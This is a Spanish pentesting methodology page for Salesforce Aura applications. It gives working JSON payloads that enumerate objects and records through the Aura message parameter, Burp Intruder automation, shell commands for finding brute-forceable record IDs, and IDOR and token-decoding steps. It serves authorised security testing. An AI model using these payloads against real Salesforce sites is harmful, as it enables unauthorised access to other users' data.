Grimorio de XTORMIN
Xtormin GithubLinkedIn
  • Home
  • 🧠IA / AI
    • Investigación y automatización
    • IA en local
    • Plantillas de prompts
      • Informes de pentesting
  • 🏢Pentesting en Infraestructuras
    • Intrusión física
    • Redes Wi-Fi
      • Herramientas
      • Metodología de Pentest Wifi
      • WEP
      • WPA2-PSK / Red personal
      • WPA2-MGT / Red corporativa
    • Cloud
      • 🔷Azure
        • Herramientas
        • Metodología de Azure Pentest
        • AzureAD
        • Az Powershell
        • Az Cli
        • Portal de Azure
    • Perímetro
      • Acceso remoto
    • Red interna
      • Windows
      • Active directory
        • Enumeración manual
    • Servicios
      • FTP - 21/tcp
      • SSH - 22/tcp
      • DNS - 53/UDP
      • SMB - 135, 445 /tcp
      • SNMP - 161, 162, 10161, 10162/udp
      • IPMI - 623/udp/tcp
      • RDP - 3389/TCP
      • Redis - 6379/tcp
    • Misc
      • Transferencia de ficheros
  • 🌐Pentesting en aplicaciones web
    • General
      • Ataques y vulnerabilidades
        • Autenticación
          • Vulnerabilidades JWT
        • Javascript
          • XSS
          • Contaminación de prototipos - Prototype pollution
        • GraphQL
      • Explotación
        • Webshell
    • Tecnología
      • Jenkins
      • Salesforce
  • ⚒️Herramientas comunes
    • Recursos generales
    • Nmap
    • Nuclei
    • BloodHound
  • 👾MISC
    • [ Kali ] Setup
      • VPN
Con tecnología de GitBook
En esta página
  • Reconocimiento
  • Enumeración de objetos
  • Enumeración de registros de objetos
  • Vulnerabilidades
  • Insecure Direct Object Reference
  • Exposición de información sensible (leaks)
  • Referencias

¿Te fue útil?

  1. Pentesting en aplicaciones web
  2. Tecnología

Salesforce

Reconocimiento

Si la aplicación hace uso de componentes Aura, se pueden explotar potenciales vulnerabilidades asociadas al uso de esta tecnología.

  • Rutas comunes:

/s/sfsites/aura
/aura
/sfsites/aura
/sales/aura
  • Cadenas comunes. En caso de que no se cuente con esas rutas, se puede intentar identificar si se usa Aura consultando las rutas visibles desde la aplicación y buscando, por ejemplo, las siguientes cadenas comunes de Aura:

"actions":[
aura:clientOutOfSync
aura:invalidSession
aura.context
aura.token

La presencia de estos elementos sugiere que la aplicación utiliza el framework Aura.

Enumeración de objetos

Los objetos pueden ser enumerados modificando el parámetro message por el siguiente payload:

{"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.hostConfig.HostConfigController/ACTION$getConfigData","callingDescriptor":"UNKNOWN","params":{}}]}

En este caso, no es necesario codificar (URL encoding) el payload en el parámetro message para enviarlo en la petición.

Se pueden extraer los objetos personalizados debido a que la cadena termina con __c, por lo que, usando el siguiente comando, se puede obtener la lista de objetos:

cat objects_response.json | grep "__c\"" | cut -d "\"" -f2

La lista completa de objetos en salesforce se puede consultar en:

  • https://developer.salesforce.com/docs/atlas.en-us.object_reference.meta/object_reference/sforce_api_objects_list.htm

Si se quiere obtener la lista actualizada de objetos de salesforce, puedes usar tu IA de confianza para extraer la información con el siguiente prompt:

Necesito una lista completa de todos los objetos que se encuentran en la siguiente URL para usarlo en intruder, de Burp Suite. Necesito que sea en formato TXT: https://developer.salesforce.com/docs/atlas.en-us.object_reference.meta/object_reference/sforce_api_objects_list.htm

Esto dará una lista como la siguiente:

Case
Account
Address
Activity
User
Contact
Document
ContentDocument
ContentVersion
ContentBody
CaseComment
Campaign
Note
Employee
Attachment
EmailMessage
CaseExternalDocument
Attachment
Lead
Task
Name
EmailTemplate
EmailMessageRelation
...

Enumeración de registros de objetos

Con intruder (Burp Suite) es posible automatizar la obtención de información de cada uno de los objetos.

Se copia la lista en la sección de "Payloads" de intruder, seleccionando la opción de "Simple list", y se modifica el parámetro message de la petición de la siguiente forma:

{"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"§object§","layoutType":"FULL","pageSize":100,"currentPage":0,"useTimeout":false,"getCount":false,"enableRowActions":false}}]}

Ejemplo de json de la respuesta:

{
  "actions": [
    {
      "id": "123;a",
      "state": "SUCCESS",
      "returnValue": {
        "result": [
          {
            "record": {
              "Id": "0015g00000A7T3AAK",
              "Origin": "test",
              "LastModifiedDate": "2024-06-19T08:17:57.000Z",
              "Account": null
            }
          },
          {
            "record": {
              "Id": "0015g00000B5T7BBL",
              "Origin": "email",
              "LastModifiedDate": "2024-06-20T10:30:00.000Z",
              "Account": "123456"
            }
          }
        ]
      }
    }
  ]
}

Si se copia el json de la respuesta, es posible filtrar con jd el resultado obtenido. Por ejemplo:

  • Obtención de identificadores de registros:

jq -r '.actions[0].returnValue.result[].record.Id' data.json

Si se quiere identificar cuáles son los caracteres que varían en los identificadores para posteriormente realizar un ataque de fuerza bruta para obtener identificadores no conocidos, se puede usar el siguiente comando:

awk 'NR==1{for(i=1;i<=length($0);i++) c[i]=substr($0,i,1)}
     NR>1{for(i=1;i<=length($0);i++) if(c[i]!=substr($0,i,1)) c[i]="?"}
     END{print; for(i=1;i<=length($0);i++) printf "%s", c[i]; print ""}' ids.txt

Ejemplo de salida:

4007N01000?????SA?

Además, los identificadores tienen un patrón propio de Salesforce que indica el tipo de objeto:

Vulnerabilidades

Insecure Direct Object Reference

Acceso a información de objetos no autorizados, por ejemplo:

  • Intentar cambiar el recordId por otro válido. Ejemplo:

    • recordId: "0015g00000A7T3AAK" → Usuario A

    • recordId: "0015g00000B5T7BBL" → Usuario B

Aunque se pueda acceder, hay que verificar que realmente sea información que no deba estar accesible para el usuario.

Exposición de información sensible (leaks)

Los parámetros aura.context (base64) y aura.token (jwt) están codificados en urlencode y base64, por lo que, se puede decodificar el contenido de los mismos y buscar información sensible que pueda estar expuesta.

Referencias

AnteriorJenkinsSiguienteRecursos generales

Última actualización hace 4 meses

¿Te fue útil?

🌐
https://help.salesforce.com/s/articleView?id=000385203&type=1
https://meyerweb.com/eric/tools/dencoder/
https://www.base64decode.org/
https://jwt.io/
https://www.enumerated.ie/index/salesforce
https://www.enumerated.ie/index/salesforce-lightning-tinting-the-windows
https://infosecwriteups.com/in-simple-words-pen-testing-salesforce-saas-application-part-1-the-essentials-ffae632a00e5
https://infosecwriteups.com/in-simple-words-pen-testing-salesforce-saas-application-part-2-fuzz-exploit-eefae11ba5ae